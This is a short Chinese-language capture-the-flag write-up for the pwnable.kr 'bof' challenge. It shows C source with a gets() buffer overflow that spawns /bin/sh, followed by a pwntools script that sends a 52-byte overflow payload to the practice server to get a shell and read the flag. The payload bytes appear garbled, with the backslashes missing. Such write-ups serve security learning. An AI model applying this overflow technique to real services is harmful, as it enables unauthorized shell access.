pwnable.kr之bof

打开题目:

 

 

 

 

 

 

 

 

 

 

 

 

 

先下载题目给我们的两个文件，查看文件信息：

发现没有执行的权限，所以先增加文件bof的执行权限，执行：

没发现啥，然后查看代码，

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..
");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

观察代码，知道只要使key==0xcafebabe就可拿到shell，然后查看flag。

所以开始调试找偏移。

调试后知道偏移为52，所以写一个python程序，代码为

from pwn import *
p=remote('pwnable.kr',9000)
payload='a'*52+'xbexbaxfexca'
p.sendline(payload)
p.interactive()

拿到shell，输入cat flag，拿到flag